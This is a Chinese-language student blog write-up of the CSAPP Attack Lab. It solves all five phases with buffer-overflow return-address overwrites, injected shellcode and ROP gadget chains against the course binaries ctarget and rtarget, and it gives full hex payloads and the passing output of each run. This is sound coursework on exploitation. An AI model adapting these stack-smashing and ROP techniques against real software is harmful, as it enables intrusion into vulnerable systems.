CSAPP深入理解计算机系统 Lab3(attack Lab) 详解
凌晨九点 Lv2

本文以记录个人学习CSAPP的过程,使用blog的方式记录能更专注的思考,不至于走马观花式的做实验。同时我关注的不仅是实验本身还有实验中使用工具的学习。

实验说明

本实验通过向两个程序中进行攻击已达到攻击目的,通过这个实验能了解到通过缓冲区溢出的方法攻击程序的方法,同时对汇编代码、GDBOBJDUMP等工具以及代码在机器中执行的过程的理解有更深的理解。

在动手实验之前需要仔细阅读实验说明, 本实验可以在实验说明的引导下顺利完成。

实验中主要包括两个可执行程序ctargetrtarget,两个可执行程序都会从标准输入中读入一个字符串在缓冲区中,但是并不会检测是否会出现缓冲区溢出。但是程序会在反馈信息中表示是否出现缓冲区溢出。同时还有一个工具HEX2RAW,是为了方便我们将二进制代码(16进制表示方式)变成对应的ascii码串作为可执行程序的输入

其中有一些需要说明的重点:

  • 在企图植入的代码中不应该包含0x0a,因为这在ascii中代表换行符,而实验中是按行读取
  • HEX2RAW 要按照小端序的方式写入,并且都要补齐两位。

一点小坑

出现报错

1
FAILED: Initialization error: Running on an illegal host

由于我们无法连接到CMU的服务器,所以通常的执行方法会导致程序卡在等待服务器响应上,因此每次执行都需要带上-q的参数离线执行。

实验具体流程

Part1 Level1 (Phase 1)

这是一个热身实验,目标是让程序执行到一个目标位置的函数touch1。对于本题的思路如下:

首先我们需要知道touch1的的地址便于我们写入栈中,可以通过objdump -d > source.S的方式找到其位置(文本编辑器的查找),查找到如下

1
00000000004017c0 g     F .text  000000000000002c  touch1

说明touch1的位置在0x4017c0的位置。我们的目标就是将这个地址放在栈记录函数返回值的地方,并在函数getbuf调用ret时进入这个部分代码。

然后我们需要知道buffer的大小,这里需要查看getbuf的代码,在Lab2中我主要通过阅读objdump -t的逆向汇编解题,这次我主要通过gdb来完成。我们执行gdb ctarget并直接b getbuf设置断点,然后r -q执行到断点位置。接着执行汇编如下

1
2
3
4
5
6
7
8
9
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: call 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: ret
End of assembler dump.

在这里能看到实际上分配的空间为0x28B。并且不会做缓冲区溢出的验证,我们可以先任意填充数据将缓存区填满,并在继续填写将返回值修改为0x00000000004017c0。但是需要注意的是小端序的存储方式,我们可以将数据以16进制的格式写入一个文本文件,便于 HEX2RAW 转换为我们需要的数据。我填写的数据在key_1.txt

1
2
3
4
5
6
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

使用如下命令

1
2
3
4
5
6
7
8
9
$ ./hex2raw -i key_1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1

Part1 Level2 (Phase 2)

这个部分的可以看到汇编代码中有如下部分

1
0x00000000004017fc <+16>:    cmp    0x202ce2(%rip),%edi  # 0x6044e4 <cookie>

直接给出了所需要比较的值cookie的位置,直接用gdb打印出结果

1
2
(gdb) x/x 0x6044e4
0x6044e4 <cookie>: 0x59b997fa

现在的目标就变成如何将这个值写入到寄存器rdi中,根据提示信息我们不要使用除ret以外的其他跳转指令,所以就要借助栈即存储地址又存储指令。我们可以将将示意图表示如下

image

因为我们只能通过输入字符串的方式去攻击,所以我们能做的就是将函数返回地址改为栈中下一行的地址(这里的索引为示例,实际情况中栈的地址是向下增长的),并将下一行作为注入函数的代码段,同时记得再将返回地址利用mov写入栈中,并将rsp寄存器移动到相应地方以利用ret进入touch2

我的注入代码段如下:

1
2
3
mov $0x59b997fa, %rdi
add $0x4, %rsp " 通过后续代码长度计算需要加的长度,0x4是标记一下位置,方便找
ret

将上述代码保存在a.S中,并执行 用于生成二进制代码

1
2
3
4
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 48 83 c4 04 add $0x4,%rsp
b: c3 ret

这段代码中我们能看出我们需要将rsp移动b + 1也就是c,寻找touch2函数的地址方式见上一题,最终注入为

1
2
3
4
5
6
7
8
9
10
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
a8 dc 61 55 00 00 00 00 //下一行的地址
48 c7 c7 fa 97 b9 59
48 83 c4 0c
c3
ec 17 40 00 00 00 00 00

执行结果如下

1
2
3
4
5
6
7
8
9
$ ./hex2raw -i key_2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2

Part1 Level3 (Phase 3)

本题和上一题的区别不大,仅仅是改为注入一个字符串指针作为参数,我们可以将字符串的值存在栈中,而将参数传回,具体操作过程如下

image

注入的代码段和上一题格式相同,需要修改的参数是rdi的值应该为上图栈中第5行的部分。

首先我们需要知道字符串的值如下,这里我们直接利用gdb,我们先像第一个题一样直接将返回地址设置为touch3,并在touch3处设置断点开始执行,并单步调试到mov 0x202bd3(%rip),%edi后直接通过p/x $edi打印出其值为0x59b997fa,我们知道$rdi$rsi作为参数传递给函数hexmatch中,通过disas hexmatch可以发现,该函数实际上通过__sprintf_chk这个库函数将$edi的值格式化为字符串,具体格式为"%.8x"表示以16进制方式转换,也就是是说转换后的字符串为"59b997fa",说明我们需要在上图6的位置添入的就是这个字符串,字符串序列为35 39 62 39 39 37 66 61 00注意字符串末尾的 00

编写汇编如下:

1
2
3
mov $0x22222222, %rsp
mov $0x22222222, %rdi
ret

其中的数后续根据具体地址修改

编译并反汇编后得到如下

1
2
3
4
5
6
Disassembly of section .text:

0000000000000000 <.text>:
0: 48 c7 c4 22 22 22 22 mov $0x22222222,%rsp
7: 48 c7 c7 22 22 22 22 mov $0x22222222,%rdi
e: c3 ret

我们可以根据上述地址加以修改,gdb中断点在getbuf处查看栈指针位置为

1
2
(gdb) print $rsp
$3 = (void *) 0x5561dca0

说明写入的位置在 0x5561dca0 + 0x8 + 0xe = 0x5561dcb70x5561dcb7 + 0x8 = 0x5561dcbf,这样就可以得出最终的代码二进制代码如下

1
2
3
4
5
6
7
8
9
10
11
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
a8 dc 61 55 00 00 00 00
48 c7 c4 b7 dc 61 55
48 c7 c7 bf dc 61 55
c3
fa 18 40 00 00 00 00 00 //touch3
35 39 62 39 39 37 66 61 00 //string

运行结果如下

1
2
3
4
5
6
7
8
9
$ ./hex2raw -i key_3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3

Part2 Level2 (Phase 4)

在第二部分中程序进行了增强,具体如下:

  1. 栈的地址进行了随机化,意味着无法再直接确定攻击的地址
  2. 内存中为栈分配的空间没有了执行权限,意味着无法注入代码段在栈中

但是我们“小工具“可以通过其原有代码的部分代码段作为我们执行的二进制代码,从而产生我们需要的效果。这里的小工具实际上是一个函数的最后部分,执行这个片断的代码并返回栈中,继续ret到栈中下一行所指向的代码,由于在此其间并没有call过这个函数,栈中的数据并不会被破坏修改,从而能按照栈中的地址一步步执行

在这个部分我们需要在这个限制条件下重新入侵到Phase 2函数中,并给予限制如下:

  1. 解决方案需要使用小工具的方式实现
  2. 只能使用到前八个寄存器
  3. 限制使用的指令为movq popq ret nop

实际上看上去是一些限制其实也是一些提示,帮助我们减少检索指令的范围。同时所有可能用到的指令都作为附件放在文档的最后,大家做的时候应该仔细查阅。

接下来开始实验的过程

首先将汇编代码保存本地

1
$ objdump -d rtarget > rtarget.S

按照要求找到start_farmmid_farm之间的汇编代码。根据需求,我们需要修改%rdi寄存器的值,并将执行的PC跳转到touch2函数的位置。首先查看cookie的值(方法同Phase 2)为0x59b997fa 。现在需要将这个值放入栈中并在小工具中将popq到某个寄存器中,在执行寄存器movq指令即可。

观察工具代码部分有如下代码

1
2
3
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 ret

这里最后的58 90 c3 分别对应三个指令popq %raxnopret,所以我们可以在栈中存放同上面的值0x59b997fa 将其移动到%rax中。

接下来我们抱着目的性的找movq %rax %rdi , 也就是48 89 c7观察以下函数满足规则发现

1
2
3
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 ret

因此这个栈中的代码放置应该如下

1
2
3
4
1: 0x00000000004019ab   //addr <addval_219> + 4
2: 0x0000000059b997fa //需要的值用于popq
3: 0x00000000004019c5 //addr <setval_426> + 2
4: 0x00000000004017ec //addr <touch2>

转换为二进制代码如下

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

最终执行结果如下

1
2
3
4
5
6
7
8
9
$ ./hex2raw -i key_4.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2

Part2 Level3 (Phase 5)

这个部分就完全如法炮制的执行到Phase 3即可。通过上一题知道,其实执行到touch部分应该是和ctarget共用的代码段,所以可以直接认为需要的字符串参数为0x59b997fa即可。

但是当栈的位置不可知时只能利用%rsp指针的相对值,意味着我们需要计算出偏移量,对于这道题中如何加偏移量是重点。文档中其实没有给出任何执行运算的二进制代码,因此我们需要自己找。通过查找发现并没有add指令的操作码83,但是有lea 的函数如下

1
2
3
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 ret

所以根据提供的函数,我们可以大致写出以下思路

1
2
3
4
5
6
7
8
9
10
11
popq %rax
(偏移量)
movl %eax, %edx
movl %edx, %ecx
movl %ecx, %esi
movq %rsp, %rax
movq %rax, %rdi
lea (%rdi, %rsi, 1), %rax
movq %rax, %rdi
touch3
string

偏移量为取出%rsp的值到string的距离,为8 * 4 = 32B 也就是0x20

如上图的思路可以转换为二进制代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

ab 19 40 00 00 00 00 00
20 00 00 00 00 00 00 00

dd 19 40 00 00 00 00 00 /* movl %eax, %edx */
69 1a 40 00 00 00 00 00 /* movl %edx, %ecx */
27 1a 40 00 00 00 00 00 /* movl %ecx, %esi */
06 1a 40 00 00 00 00 00 /* movq %rsp, %rax */
c5 19 40 00 00 00 00 00 /* movq %rax, %rdi */
d6 19 40 00 00 00 00 00 /* lea (%rdi, %rsi, 1), %rax */
c5 19 40 00 00 00 00 00 /* movq %rax, %rdi */
fa 18 40 00 00 00 00 00 /* touch3 */
35 39 62 39 39 37 66 61 00 /* string */

最后运行结果如下:

1
2
3
4
5
6
7
8
9
$ ./hex2raw -i key_5.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3

总结

这个实验总体来说难度不大,但是很有趣味性,通过对栈溢出的攻击,让我们明白程序检测栈是否溢出的重要性。(不过到最后一题才看到hex2raw支持注释,对实验的便捷性还是提供一定帮助。)